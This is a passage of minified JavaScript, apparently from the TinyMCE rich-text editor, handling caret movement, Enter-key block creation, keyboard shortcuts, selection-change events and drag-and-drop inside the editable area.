K0(e,t){return h0(e,t,t?op:rp)}function X0(e){return T(["figcaption"],kt(e))}function Y0(e){var t=document.createRange();return t.setStartBefore(e.dom),t.setEndBefore(e.dom),t}function G0(e,t,n){(n?Ln:Wt)(e,t)}function J0(h,v){var b=Et.fromDom(h.getBody()),y=cs.fromRangeStart(h.selection.getRng()),C=ks(h),x=_s(h),e=y,t=R(je,b);return hr(Et.fromDom(e.container()),go,t).filter(X0).exists(function(){if(d=b,m=y,v?(p=d.dom,Zy(p,m).breakAt.isNone()):(g=d.dom,Qy(g,m).breakAt.isNone())){var e=(t=b,r=x,o=v,""===(n=C)?(l=o,G0(t,f=Et.fromTag("br"),l),Y0(f)):(i=t,a=o,u=r,s=Et.fromTag(n),c=Et.fromTag("br"),hn(s,u),Ln(s,c),G0(i,s,a),Y0(c)));return h.selection.setRng(e),!0}var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p;return!1})}function Q0(e,t){return!!e.selection.isCollapsed()&&J0(e,t)}function Z0(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return function(){return e.apply(null,t)}}function eC(e,t){return M((n=t,H(A(e,function(e){return _e({shiftKey:!1,altKey:!1,ctrlKey:!1,metaKey:!1,keyCode:0,action:te},e)}),function(e){return n.keyCode===e.keyCode&&n.shiftKey===e.shiftKey&&n.altKey===e.altKey&&n.ctrlKey===e.ctrlKey&&n.metaKey===e.metaKey?[e]:[]})),function(e){return e.action()});var n}function tC(t,e){var n=e?sc.Forwards:sc.Backwards,r=t.selection.getRng();return g0(t,n,r,Zg,ep,Qn).exists(function(e){return d0(t,e),!0})}function nC(t,e){var n=e?1:-1,r=t.selection.getRng();return p0(t,n,r,Zg,ep,Qn).exists(function(e){return d0(t,e),!0})}function rC(e,t){return h0(e,t,t?ep:Zg)}function oC(e,t,n,r,o){var i,a=yu(Et.fromDom(n),"td,th,caption").map(function(e){return e.dom}),u=U((i=e,H(a,function(e){var t,n={left:(t=Ru(e.getBoundingClientRect())).left- -1,top:t.top- -1,right:t.right+-2,bottom:t.bottom+-2,width:t.width+-1,height:t.height+-1};return[{x:n.left,y:i(n),cell:e},{x:n.right,y:i(n),cell:e}]})),function(e){return t(e,o)}),s=r,c=o;return L(u,function(e,r){return e.fold(function(){return ve.some(r)},function(e){var t=Math.sqrt(Math.abs(e.x-s)+Math.abs(e.y-c)),n=Math.sqrt(Math.abs(r.x-s)+Math.abs(r.y-c));return ve.some(n<t?r:e)})},ve.none()).map(function(e){return e.cell})}function iC(e,t,n){var r,o,i=e(t,n);return i.breakType===Sy.Wrap&&0===i.positions.length||!Kn(n.getNode())&&i.breakType===Sy.Br&&1===i.positions.length?(r=e,o=t,!i.breakAt.exists(function(e){return r(o,e).breakAt.isSome()})):i.breakAt.isNone()}function aC(t,e,n,r){var o,i,a,u=t.selection.getRng(),s=e?1:-1;return!(!Ks()||(o=e,i=n,a=cs.fromRangeStart(u),!jc(!o,i).exists(function(e){return e.isEqual(a)}))||(Mb(s,t,n,!e,!1).each(function(e){d0(t,e)}),0))}function uC(u,s,c){var e,t,n=(e=!!s,t=c.getNode(e),Hn(t)&&"TABLE"===t.nodeName?ve.some(t):ve.none()),r=!1===s;n.fold(function(){return d0(u,c.toRange())},function(a){return jc(r,u.getBody()).filter(function(e){return e.isEqual(c)}).fold(function(){return d0(u,c.toRange())},function(e){var n,r,o=s,i=a,t=c;(r=ks(n=u))?n.undoManager.transact(function(){var e=Et.fromTag(r);hn(e,_s(n)),Ln(e,Et.fromTag("br")),(o?$t:qt)(Et.fromDom(i),e);var t=n.dom.createRng();t.setStart(e.dom,0),t.setEnd(e.dom,0),d0(n,t)}):d0(n,t.toRange())})})}function sC(e,t,n,r){var o,i,a,u,s,c,l,f,d,m,g=e.selection.getRng(),p=cs.fromRangeStart(g),h=e.getBody();if(t||!s1(r,p))return!(!t||!c1(r,p))&&(o=h,d=i=n,uC(e,t,v=Z((m=a=p).getClientRects()).bind(function(e){return u1(d,e.left,e.top)}).bind(function(e){return Ky(rf(t=e).map(function(e){return[e].concat(Zy(t,e).positions)}).getOr([]),m);var t}).orThunk(function(){return Q(a.getClientRects()).bind(function(e){return Wy(t0(o,cs.after(i)),e.left)})}).getOr(cs.after(i))),!0);var v=(u=h,l=s=n,Q((f=c=p).getClientRects()).bind(function(e){return a1(l,e.left,e.top)}).bind(function(e){return Ky(of(t=e).map(function(e){return Qy(t,e).positions.concat(e)}).getOr([]),f);var t}).orThunk(function(){return Q(c.getClientRects()).bind(function(e){return Wy(e0(u,cs.before(s)),e.left)})}).getOr(cs.before(s)));return uC(e,t,v),!0}function cC(n,r,o){return ve.from(n.dom.getParent(n.selection.getNode(),"td,th")).bind(function(t){return ve.from(n.dom.getParent(t,"table")).map(function(e){return o(n,r,e,t)})}).getOr(!1)}function lC(e,t){return cC(e,t,aC)}function fC(e,t){return cC(e,t,sC)}function dC(e,t){var n,r,o=t,i=e.dom,a=e.schema.getMoveCaretBeforeOnEnterElements();if(t){!/^(LI|DT|DD)$/.test(t.nodeName)||(r=function(e){for(;e;){if(1===e.nodeType||3===e.nodeType&&e.data&&/[\r\n\s]/.test(e.data))return e;e=e.nextSibling}}(t.firstChild))&&/^(UL|OL|DL)$/.test(r.nodeName)&&t.insertBefore(i.doc.createTextNode(wo),t.firstChild);var u=i.createRng();if(t.normalize(),t.hasChildNodes()){for(var s=new Dr(t,t);n=s.current();){if(Vn(n)){u.setStart(n,0),u.setEnd(n,0);break}if(a[n.nodeName.toLowerCase()]){u.setStartBefore(n),u.setEndBefore(n);break}o=n,n=s.next()}n||(u.setStart(o,0),u.setEnd(o,0))}else Kn(t)?t.nextSibling&&i.isBlock(t.nextSibling)?(u.setStartBefore(t),u.setEndBefore(t)):(u.setStartAfter(t),u.setEndAfter(t)):(u.setStart(t,0),u.setEnd(t,0));e.selection.setRng(u),nd(e,u)}}function mC(e){return ve.from(e.dom.getParent(e.selection.getStart(!0),e.dom.isBlock))}function gC(e,t){return e&&e.parentNode&&e.parentNode.nodeName===t}function pC(e){return e&&/^(OL|UL|LI)$/.test(e.nodeName)}function hC(e){var t=e.parentNode;return/^(LI|DT|DD)$/.test(t.nodeName)?t:e}function vC(e,t,n){for(var r=e[n?"firstChild":"lastChild"];r&&!Hn(r);)r=r[n?"nextSibling":"previousSibling"];return r===t}function bC(e){e.innerHTML='<br data-mce-bogus="1">'}function yC(e,t){return e.nodeName===t||e.previousSibling&&e.previousSibling.nodeName===t}function CC(e,t){return t&&e.isBlock(t)&&!/^(TD|TH|CAPTION|FORM)$/.test(t.nodeName)&&!/^(fixed|absolute)/i.test(t.style.position)&&"true"!==e.getContentEditable(t)}function xC(e,t,n){return!1===Vn(t)?n:e?1===n&&t.data.charAt(n-1)===So?0:n:n===t.data.length-1&&t.data.charAt(n)===So?t.data.length:n}function wC(e,t){for(var n,r=e.getRoot(),o=t;o!==r&&"false"!==e.getContentEditable(o);)"true"===e.getContentEditable(o)&&(n=o),o=o.parentNode;return o!==r?n:r}function SC(e,t){var n=ks(e);n&&n.toLowerCase()===t.tagName.toLowerCase()&&function(e,o,t){var i=e.dom;ve.from(t.style).map(i.parseStyle).each(function(e){var t=Nn(Et.fromDom(o)),n=_e(_e({},t),e);i.setStyles(o,n)}),dn(ve.from(t.class).map(function(e){return e.split(/\s+/)}),ve.from(o.className).map(function(e){return U(e.split(/\s+/),function(e){return""!==e})}),function(t,e){var n=U(e,function(e){return!T(t,e)}),r=Ae(Ae([],t,!0),n,!0);i.setAttrib(o,"class",r.join(" "))});var n=["style","class"],r=ae(t,function(e,t){return!T(n,t)});i.setAttribs(o,r)}(e,t,_s(e))}function NC(a,e){function t(e){var t,n=m,r=l.getTextInlineElements(),o=e||"TABLE"===C||"HR"===C?c.create(e||p):b.cloneNode(!1),i=o;if(!1===a.getParam("keep_styles",!0))c.setAttrib(o,"style",null),c.setAttrib(o,"class",null);else for(;r[n.nodeName]&&(Vc(n)||Qc(n)||(t=n.cloneNode(!1),c.setAttrib(t,"id",""),o.hasChildNodes()?t.appendChild(o.firstChild):i=t,o.appendChild(t))),(n=n.parentNode)&&n!==F;);return SC(a,o),bC(i),o}function n(e){var t,n,r=xC(e,m,g);if(!Vn(m)||!(e?0<r:r<m.nodeValue.length)){if(m.parentNode===b&&s&&!e)return 1;if(e&&Hn(m)&&m===b.firstChild)return 1;if(yC(m,"TABLE")||yC(m,"HR"))return s&&!e||!s&&e;var o=new Dr(m,b);for(Vn(m)&&(e&&0===r?o.prev():e||r!==m.nodeValue.length||o.next());t=o.current();){if(Hn(t)){if(!t.getAttribute("data-mce-bogus")&&(n=t.nodeName.toLowerCase(),f[n]&&"br"!==n))return}else if(Vn(t)&&!$r(t.nodeValue))return;e?o.prev():o.next()}return 1}}function r(){u=/^(H[1-6]|PRE|FIGURE)$/.test(C)&&"HGROUP"!==x?t(p):t(),a.getParam("end_container_on_empty_block",!1)&&CC(c,y)&&c.isEmpty(b)?u=c.split(y,b):c.insertAfter(u,b),dC(a,u)}var o,u,i,s,c=a.dom,l=a.schema,f=l.getNonEmptyElements(),d=a.selection.getRng();Of(c,d).each(function(e){d.setStart(e.startContainer,e.startOffset),d.setEnd(e.endContainer,e.endOffset)});var m=d.startContainer,g=d.startOffset,p=ks(a),h=!(!e||!e.shiftKey),v=!(!e||!e.ctrlKey);Hn(m)&&m.hasChildNodes()&&(s=g>m.childNodes.length-1,m=m.childNodes[Math.min(g,m.childNodes.length-1)]||m,g=s&&Vn(m)?m.nodeValue.length:0);var b,y,C,x,w,S,p,N,E,k,_,A,R,D,T,O,B,P,L,I,M,F=wC(c,m);F&&((p&&!h||!p&&h)&&(m=function(e,t,n,r){var o,i,a,u,s,c,l=p||"P",f=e.dom,d=wC(f,n),m=f.getParent(n,f.isBlock);if(!m||!CC(f,m)){if(s=((m=m||d)===e.getBody()||(c=m)&&/^(TD|TH|CAPTION)$/.test(c.nodeName)?m:m.parentNode).nodeName.toLowerCase(),!m.hasChildNodes())return SC(e,o=f.create(l)),m.appendChild(o),t.setStart(o,0),t.setEnd(o,0),o;for(a=n;a.parentNode!==m;)a=a.parentNode;for(;a&&!f.isBlock(a);)a=(i=a).previousSibling;if(i&&e.schema.isValidChild(s,l.toLowerCase())){for(SC(e,o=f.create(l)),i.parentNode.insertBefore(o,i),a=i;a&&!f.isBlock(a);)u=a.nextSibling,o.appendChild(a),a=u;t.setStart(n,r),t.setEnd(n,r)}}return n}(a,d,m,g)),y=(b=c.getParent(m,c.isBlock))?c.getParent(b.parentNode,c.isBlock):null,C=b?b.nodeName.toUpperCase():"","LI"!==(x=y?y.nodeName.toUpperCase():"")||v||(y=(b=y).parentNode,C=x),/^(LI|DT|DD)$/.test(C)&&c.isEmpty(b)?(E=t,k=y,_=b,A=p,I=(N=a).dom,M=N.selection.getRng(),k!==N.getBody()&&(D=(A=pC(R=k)&&pC(R.parentNode)?"LI":A)?E(A):I.create("BR"),vC(k,_,!0)&&vC(k,_,!1)?gC(k,"LI")?(T=hC(k),I.insertAfter(D,T),(null===(L=(P=k).parentNode)||void 0===L?void 0:L.firstChild)===P?I.remove(T):I.remove(k)):I.replace(D,k):(vC(k,_,!0)?gC(k,"LI")?(I.insertAfter(D,hC(k)),D.appendChild(I.doc.createTextNode(" ")),D.appendChild(k)):k.parentNode.insertBefore(D,k):vC(k,_,!1)?I.insertAfter(D,hC(k)):(k=hC(k),(O=M.cloneRange()).setStartAfter(_),O.setEndAfter(k),B=O.extractContents(),"LI"===A&&(B.firstChild&&"LI"===B.firstChild.nodeName)?(D=B.firstChild,I.insertAfter(B,k)):(I.insertAfter(B,k),I.insertAfter(D,k))),I.remove(_)),dC(N,D))):p&&b===a.getBody()||(p=p||"P",Lr(b)?(u=Hr(b),c.isEmpty(b)&&bC(b),SC(a,u),dC(a,u)):n()?r():n(!0)?(u=b.parentNode.insertBefore(t(),b),dC(a,yC(b,"HR")?u:b)):((S=(w=d).cloneRange()).setStart(w.startContainer,xC(!0,w.startContainer,w.startOffset)),S.setEnd(w.endContainer,xC(!1,w.endContainer,w.endOffset)),(o=S.cloneRange()).setEndAfter(b),i=o.extractContents(),Y(qu(Et.fromDom(i),An),function(e){var t=e.dom;t.nodeValue=Eo(t.nodeValue)}),function(e){for(;Vn(e)&&(e.nodeValue=e.nodeValue.replace(/^[\r\n]+/,"")),e=e.firstChild;);}(i),u=i.firstChild,c.insertAfter(i,b),function(e,t){var n,r,o=u,i=[];if(o){for(;o=o.firstChild;){if(e.isBlock(o))return;Hn(o)&&!t[o.nodeName.toLowerCase()]&&i.push(o)}for(n=i.length;n--;)!(o=i[n]).hasChildNodes()||o.firstChild===o.lastChild&&""===o.firstChild.nodeValue?e.remove(o):(r=o)&&"A"===r.nodeName&&e.isEmpty(r)&&e.remove(o)}}(c,f),function(e,t){t.normalize();var n=t.lastChild;n&&!/^(left|right)$/gi.test(e.getStyle(n,"float",!0))||e.add(t,"br")}(c,b),c.isEmpty(b)&&bC(b),u.normalize(),c.isEmpty(u)?(c.remove(u),r()):(SC(a,u),dC(a,u))),c.setAttrib(u,"id",""),a.fire("NewBlock",{newBlock:u})))}function EC(e,t,n){var r=e.dom.createRng();n?(r.setStartBefore(t),r.setEndBefore(t)):(r.setStartAfter(t),r.setEndAfter(t)),e.selection.setRng(r),nd(e,r)}function kC(e,t){var n=Et.fromTag("br");qt(Et.fromDom(t),n),e.undoManager.add()}function _C(e,t){l1(e.getBody(),t)||$t(Et.fromDom(t),Et.fromTag("br"));var n=Et.fromTag("br");$t(Et.fromDom(t),n),EC(e,n.dom,!1),e.undoManager.add()}function AC(e){return e&&"A"===e.nodeName&&"href"in e}function RC(e){return e.fold(D,AC,AC,D)}function DC(e,t){t.fold(te,R(kC,e),R(_C,e),te)}function TC(e,t){var n,r,o,i=(r=R(bb,n=e),o=cs.fromRangeStart(n.selection.getRng()),gy(r,n.getBody(),o).filter(RC));i.isSome()?i.each(R(DC,e)):function(e,t){var n,r,o=e.selection,i=e.dom,a=o.getRng();Of(i,a).each(function(e){a.setStart(e.startContainer,e.startOffset),a.setEnd(e.endContainer,e.endOffset)});var u,s=a.startOffset,c=a.startContainer;1===c.nodeType&&c.hasChildNodes()&&(u=s>c.childNodes.length-1,c=c.childNodes[Math.min(s,c.childNodes.length-1)]||c,s=u&&3===c.nodeType?c.nodeValue.length:0);var l=i.getParent(c,i.isBlock),f=l?i.getParent(l.parentNode,i.isBlock):null,d=f?f.nodeName.toUpperCase():"",m=!(!t||!t.ctrlKey);"LI"!==d||m||(l=f),c&&3===c.nodeType&&s>=c.nodeValue.length&&!function(e){for(var t,n=new Dr(c,l),r=e.getNonEmptyElements();t=n.next();)if(r[t.nodeName.toLowerCase()]||0<t.length)return 1}(e.schema)&&(n=i.create("br"),a.insertNode(n),a.setStartAfter(n),a.setEndAfter(n),r=!0),n=i.create("br"),fs(i,a,n),EC(e,n,r),e.undoManager.add()}(e,t)}function OC(e,t){return mC(e).filter(function(e){return 0<t.length&&ze(Et.fromDom(e),t)}).isSome()}function BC(e,t){return OC(e,e.getParam("no_newline_selector",""))}function PC(n){return function(e,t){return""===ks(e)===n}}function LC(n){return function(e,t){return mC(e).filter(function(e){return vo(Et.fromDom(e))}).isSome()===n}}function IC(n,r){return function(e,t){return mC(e).fold(J(""),function(e){return e.nodeName.toUpperCase()})===n.toUpperCase()===r}}function MC(e){return IC("pre",e)}function FC(n){return function(e,t){return e.getParam("br_in_pre",!0)===n}}function UC(e,t){return OC(e,e.getParam("br_newline_selector",".mce-toc h2,figcaption,caption"))}function zC(e,t){return t}function HC(e){var t=ks(e),n=function(e,t){for(var n,r=e.getRoot(),o=t;o!==r&&"false"!==e.getContentEditable(o);)"true"===e.getContentEditable(o)&&(n=o),o=o.parentNode;return o!==r?n:r}(e.dom,e.selection.getStart());return n&&e.schema.isValidChild(n.nodeName,t||"P")}function jC(e,t){return function(n,r){return L(e,function(e,t){return e&&t(n,r)},!0)?ve.some(t):ve.none()}}function VC(e,t){var n,r;n=e,r=t,iy([jC([BC],f1.none()),jC([IC("summary",!0)],f1.br()),jC([MC(!0),FC(!1),zC],f1.br()),jC([MC(!0),FC(!1)],f1.block()),jC([MC(!0),FC(!0),zC],f1.block()),jC([MC(!0),FC(!0)],f1.br()),jC([LC(!0),zC],f1.br()),jC([LC(!0)],f1.block()),jC([PC(!0),zC,HC],f1.block()),jC([PC(!0)],f1.br()),jC([UC],f1.br()),jC([PC(!1),zC],f1.br()),jC([HC],f1.block())],[n,!(!r||!r.shiftKey)]).getOr(f1.none()).fold(function(){TC(e,t)},function(){NC(e,t)},te)}function qC(e){return e.stopImmediatePropagation()}function $C(e){return e.keyCode===If.PAGE_UP||e.keyCode===If.PAGE_DOWN}function WC(e,t,n){n&&!e.get()?t.on("NodeChange",qC,!0):!n&&e.get()&&t.off("NodeChange",qC),e.set(n)}function KC(n,r){var e=r.container(),t=r.offset();return Vn(e)?(e.insertData(t,n),ve.some(cs(e,t+n.length))):ic(r).map(function(e){var t=Et.fromText(n);return(r.isAtEnd()?$t:qt)(e,t),cs(t.dom,n.length)})}function XC(i,a){return function(e){return r=i,(!Om(o=e)&&(n=o,nf((t=r).dom,n).isNone()||tf(t.dom,n).isNone()||ip(t,n)||ap(t,n)||_m(t,n)||km(t,n)||Dm(r,o)||Tm(r,o))?g1:p1)(a);var t,n,r,o}}function YC(e){var t,n,r=cs.fromRangeStart(e.selection.getRng()),o=Et.fromDom(e.getBody());if(e.selection.isCollapsed()){var i=R(bb,e),a=cs.fromRangeStart(e.selection.getRng());return gy(i,e.getBody(),a).bind((n=o,function(e){return e.fold(function(e){return nf(n.dom,cs.before(e))},function(e){return rf(e)},function(e){return of(e)},function(e){return tf(n.dom,cs.after(e))})})).bind(XC(o,r)).exists((t=e,function(e){return t.selection.setRng(e.toRange()),t.nodeChanged(),!0}))}return!1}function GC(e){var o,i,a,u,s,t,n,r,c,l,f,d,m,g,p=w0(e);return e.on("keyup compositionstart",R(V0,e)),g=p,(m=e).on("keydown",function(e){var t,n,r,o;!1===e.isDefaultPrevented()&&(t=m,n=g,r=e,o=dt().os,eC([{keyCode:If.RIGHT,action:Z0($0,t,!0)},{keyCode:If.LEFT,action:Z0($0,t,!1)},{keyCode:If.UP,action:Z0(W0,t,!1)},{keyCode:If.DOWN,action:Z0(W0,t,!0)},{keyCode:If.RIGHT,action:Z0(lC,t,!0)},{keyCode:If.LEFT,action:Z0(lC,t,!1)},{keyCode:If.UP,action:Z0(fC,t,!1)},{keyCode:If.DOWN,action:Z0(fC,t,!0)},{keyCode:If.RIGHT,action:Z0(tC,t,!0)},{keyCode:If.LEFT,action:Z0(tC,t,!1)},{keyCode:If.UP,action:Z0(nC,t,!1)},{keyCode:If.DOWN,action:Z0(nC,t,!0)},{keyCode:If.RIGHT,action:Z0(C0,t,n,!0)},{keyCode:If.LEFT,action:Z0(C0,t,n,!1)},{keyCode:If.RIGHT,ctrlKey:!o.isOSX(),altKey:o.isOSX(),action:Z0(n1,t,n)},{keyCode:If.LEFT,ctrlKey:!o.isOSX(),altKey:o.isOSX(),action:Z0(r1,t,n)},{keyCode:If.UP,action:Z0(Q0,t,!1)},{keyCode:If.DOWN,action:Z0(Q0,t,!0)}],r).each(function(e){r.preventDefault()}))}),d=p,(f=e).on("keydown",function(e){var t,n,r;!1===e.isDefaultPrevented()&&(n=d,r=e,eC([{keyCode:If.BACKSPACE,action:Z0(M0,t=f,!1)},{keyCode:If.BACKSPACE,action:Z0(Gb,t,!1)},{keyCode:If.DELETE,action:Z0(Gb,t,!0)},{keyCode:If.BACKSPACE,action:Z0(qb,t,!1)},{keyCode:If.DELETE,action:Z0(qb,t,!0)},{keyCode:If.BACKSPACE,action:Z0(k0,t,n,!1)},{keyCode:If.DELETE,action:Z0(k0,t,n,!0)},{keyCode:If.BACKSPACE,action:Z0(yg,t,!1)},{keyCode:If.DELETE,action:Z0(yg,t,!0)},{keyCode:If.BACKSPACE,action:Z0(Jb,t,!1)},{keyCode:If.DELETE,action:Z0(Jb,t,!0)},{keyCode:If.BACKSPACE,action:Z0(T0,t,!1)},{keyCode:If.DELETE,action:Z0(T0,t,!0)},{keyCode:If.BACKSPACE,action:Z0(Ib,t,!1)},{keyCode:If.DELETE,action:Z0(Ib,t,!0)},{keyCode:If.BACKSPACE,action:Z0(Bb,t,!1)},{keyCode:If.DELETE,action:Z0(Bb,t,!0)},{keyCode:If.BACKSPACE,action:Z0(R0,t,!1)},{keyCode:If.DELETE,action:Z0(R0,t,!0)}],r).each(function(e){r.preventDefault()}))}),f.on("keyup",function(e){var t,n;!1===e.isDefaultPrevented()&&(n=e,eC([{keyCode:If.BACKSPACE,action:Z0(Yb,t=f)},{keyCode:If.DELETE,action:Z0(Yb,t)}],n))}),(l=e).on("keydown",function(e){var t,n,r;e.keyCode===If.ENTER&&(t=l,(n=e).isDefaultPrevented()||(n.preventDefault(),(r=t.undoManager).typing&&(r.typing=!1,r.add()),t.undoManager.transact(function(){!1===t.selection.isCollapsed()&&t.execCommand("Delete"),VC(t,n)})))}),(c=e).on("keydown",function(e){var t;!1===e.isDefaultPrevented()&&(t=e,eC([{keyCode:If.SPACEBAR,action:Z0(YC,c)}],t).each(function(e){t.preventDefault()}))}),n=t=e,r=mu(function(){n.composing||Um(n)},0),d1.isIE()&&(n.on("keypress",function(e){r.throttle()}),n.on("remove",function(e){r.cancel()})),t.on("input",function(e){!1===e.isComposing&&Um(t)}),s=p,(u=e).on("keydown",function(e){var t,n,r;!1===e.isDefaultPrevented()&&(n=s,r=e,eC([{keyCode:If.END,action:Z0(K0,t=u,!0)},{keyCode:If.HOME,action:Z0(K0,t,!1)},{keyCode:If.END,action:Z0(rC,t,!0)},{keyCode:If.HOME,action:Z0(rC,t,!1)},{keyCode:If.END,action:Z0(S0,t,!0,n)},{keyCode:If.HOME,action:Z0(S0,t,!1,n)}],r).each(function(e){r.preventDefault()}))}),o=e,i=p,m1.os.isOSX()||(a=au(!1),o.on("keydown",function(e){$C(e)&&WC(a,o,!0)}),o.on("keyup",function(e){var t,n,r;!1===e.isDefaultPrevented()&&(r=e,eC([{keyCode:If.PAGE_UP,action:Z0(S0,t=o,!1,n=i)},{keyCode:If.PAGE_DOWN,action:Z0(S0,t,!0,n)}],r)),$C(e)&&a.get()&&(WC(a,o,!1),o.nodeChanged())})),p}(Jy=Gy=Gy||{})[Jy.Up=-1]="Up",Jy[Jy.Down=1]="Down";var JC=R(n0,Gy.Up,Ou,Bu),QC=R(n0,Gy.Down,Bu,Ou),ZC=Gn,e1=Gs,t1=function(e,t){var n=e.selection.getRng(),r=e.getBody();if(t){var o=cs.fromRangeEnd(n),i=Zy(r,o);return Z(i.positions)}return o=cs.fromRangeStart(n),Q((i=Qy(r,o)).positions)},n1=R(x0,!0),r1=R(x0,!1),o1=function(e){return U(A(e.selection.getSelectedBlocks(),Et.fromDom),function(e){return!L0(e)&&!Ot(e).exists(L0)&&hr(e,function(e){return Yn(e.dom)||Gn(e.dom)}).exists(function(e){return Yn(e.dom)})})},i1=Gn,a1=R(oC,function(e){return e.bottom},function(e,t){return e.y<t}),u1=R(oC,function(e){return e.top},function(e,t){return e.y>t}),s1=R(iC,Qy),c1=R(iC,Zy),l1=function(e,t){return n=cs.after(t),!!Kn(n.getNode())||tf(e,cs.after(t)).map(function(e){return Kn(e.getNode())}).getOr(!1);var n},f1=ir([{br:[]},{block:[]},{none:[]}]),d1=dt().browser,m1=dt(),g1=R(KC,wo),p1=R(KC," "),h1=(v1.prototype.nodeChanged=function(e){var t,n,r,o=this.editor.selection;this.editor.initialized&&o&&!this.editor.getParam("disable_nodechange")&&!this.editor.mode.isReadOnly()&&(r=this.editor.getBody(),(t=o.getStart(!0)||r).ownerDocument===this.editor.getDoc()&&this.editor.dom.isChildOf(t,r)||(t=r),n=[],this.editor.dom.getParent(t,function(e){return e===r||void n.push(e)}),(e=e||{}).element=t,e.parents=n,this.editor.fire("NodeChange",e))},v1.prototype.isSameElementPath=function(e){var t,n=this.editor.$(e).parentsUntil(this.editor.getBody()).add(e);if(n.length===this.lastPath.length){for(t=n.length;0<=t&&n[t]===this.lastPath[t];t--);if(-1===t)return this.lastPath=n,!0}return this.lastPath=n,!1},v1);function v1(r){var o;this.lastPath=[],this.editor=r;var t=this;"onselectionchange"in r.getDoc()||r.on("NodeChange click mouseup keyup focus",function(e){var t=r.selection.getRng(),n={startContainer:t.startContainer,startOffset:t.startOffset,endContainer:t.endContainer,endOffset:t.endOffset};"nodechange"!==e.type&&kf(n,o)||r.fire("SelectionChange"),o=n}),r.on("contextmenu",function(){r.fire("SelectionChange")}),r.on("SelectionChange",function(){var e=r.selection.getStart(!0);!e||!xt.range&&r.selection.isCollapsed()||Pl(r)&&!t.isSameElementPath(e)&&r.dom.isChildOf(e,r.getBody())&&r.nodeChanged({selectionChange:!0})}),r.on("mouseup",function(e){!e.isDefaultPrevented()&&Pl(r)&&("IMG"===r.selection.getNode().nodeName?Ar.setEditorTimeout(r,function(){r.nodeChanged()}):r.nodeChanged())})}function b1(e){return Hn(e)&&po(Et.fromDom(e))}function y1(e){var t=e.getBoundingClientRect(),n=e.ownerDocument,r=n.documentElement,o=n.defaultView;return{top:t.top+o.pageYOffset-r.clientTop,left:t.left+o.pageXOffset-r.clientLeft}}function C1(e){e&&e.parentNode&&e.parentNode.removeChild(e)}function x1(e,S){var N=Ar.throttle(function(e,t){S._selectionOverrides.hideFakeCaret(),S.selection.placeCaretAt(e,t)},0);return S.on("remove",N.stop),function(w){return e.on(function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y,C,x=Math.max(Math.abs(w.screenX-e.screenX),Math.abs(w.screenY-e.screenY));if(!e.dragging&&10<x){if(S.fire("dragstart",{target:e.element}).isDefaultPrevented())return;e.dragging=!0,S.focus()}e.dragging&&(d=e,t={pageX:(p=w,h=(g=S).inline?y1(g.getBody()):{left:0,top:0},C=(y=g).getBody(),v=y.inline?{left:C.scrollLeft,top:C.scrollTop}:{left:0,top:0},(m={pageX:(b=function(e,t){if(t.target.ownerDocument===e.getDoc())return{left:t.pageX,top:t.pageY};var n,r,o,i,a,u=y1(e.getContentAreaContainer()),s=(r=(n=e).getBody(),o=n.getDoc().documentElement,i={left:r.scrollLeft,top:r.scrollTop},a={left:r.scrollLeft||o.scrollLeft,top:r.scrollTop||o.scrollTop},n.inline?i:a);return{left:t.pageX-u.left+s.left,top:t.pageY-u.top+s.top}}(g,p)).left-h.left+v.left,pageY:b.top-h.top+v.top}).pageX-d.relX),pageY:m.pageY+5},l=e.ghost,f=S.getBody(),l.parentNode!==f&&f.appendChild(l),n=e.ghost,o=e.width,i=e.height,a=e.maxX,u=e.maxY,c=s=0,n.style.left=(r=t).pageX+"px",n.style.top=r.pageY+"px",u<r.pageY+i&&(c=r.pageY+i-u),n.style.width=o-(s=a<r.pageX+o?r.pageX+o-a:s)+"px",n.style.height=i-c+"px",N(w.clientX,w.clientY))})}}function w1(e){function t(e){var t,n,r,o,i,a;0===e.button&&(t=M(c.dom.getParents(e.target),function(){for(var n=[],e=0;e<arguments.length;e++)n[e]=arguments[e];return function(e){for(var t=0;t<n.length;t++)if(n[t](e))return!0;return!1}}(K1,X1)).getOr(null),i=c.getBody(),K1(a=t)&&a!==i&&(n=c.dom.getPos(t),r=c.getBody(),o=c.getDoc().documentElement,u.set({element:t,dragging:!1,screenX:e.screenX,screenY:e.screenY,maxX:(c.inline?r.scrollWidth:o.offsetWidth)-2,maxY:(c.inline?r.scrollHeight:o.offsetHeight)-2,relX:e.pageX-n.x,relY:e.pageY-n.y,width:t.offsetWidth,height:t.offsetHeight,ghost:function(e,t,n){var r=c.dom,o=e.cloneNode(!0);r.setStyles(o,{width:t,height:n}),r.setAttrib(o,"data-mce-selected",null);var i=r.create("div",{class:"mce-drag-container","data-mce-bogus":"all",unselectable:"on",contenteditable:"false"});return r.setStyles(i,{position:"absolute",opacity:.5,overflow:"hidden",border:0,padding:0,margin:0,width:t,height:n}),r.setStyles(o,{margin:0,boxSizing:"border-box"}),i.appendChild(o),i}(t,t.offsetWidth,t.offsetHeight)})))}function n(u){i.on(function(e){var t,n,r,o,i,a;e.dragging&&((o=3===(a=(r=s).selection.getSel().getRangeAt(0).startContainer).nodeType?a.parentNode:a)===(i=e.element)||r.dom.isChildOf(o,i)||K1(o)||((n=e.element.cloneNode(!0)).removeAttribute("data-mce-selected"),t=n,s.fire("drop",{clientX:u.clientX,clientY:u.clientY}).isDefaultPrevented()||s.undoManager.transact(function(){C1(e.element),s.insertContent(s.dom.getOuterHTML(t)),s._selectionOverrides.hideFakeCaret()})),s.fire("dragend"))}),Y1(i)}var r,o,i,s,u,c,a=du(),l=eu.DOM,f=document,d=x1(u=a,c=e),m=(r=i=a,function(){r.on(function(e){e.dragging&&o.fire("dragend")}),Y1(r)});(o=s=e).on("mousedown",t),e.on("mousemove",d),e.on("mouseup",n),l.bind(f,"mousemove",d),l.bind(f,"mouseup",m),e.on("remove",function(){l.unbind(f,"mousemove",d),l.unbind(f,"mouseup",m)}),e.on("keydown",function(e){e.keyCode===If.ESC&&m()})}function S1(e){var n,i;function a(e){var t;e.isDefaultPrevented()||(t=e.dataTransfer)&&(T(t.types,"Files")||0<t.files.length)&&(e.preventDefault(),"drop"===e.type&&Qv(i,"Dropped file type is not supported"))}function u(e){pd(i,e.target)&&a(e)}function t(){var t=eu.DOM,n=i.dom,r=document,o=i.inline?i.getBody():i.getDoc(),e=["drop","dragover"];Y(e,function(e){t.bind(r,e,u),n.bind(o,e,a)}),i.on("remove",function(){Y(e,function(e){t.unbind(r,e,u),n.unbind(o,e,a)})})}w1(e),(n=e).on("drop",function(e){var t=void 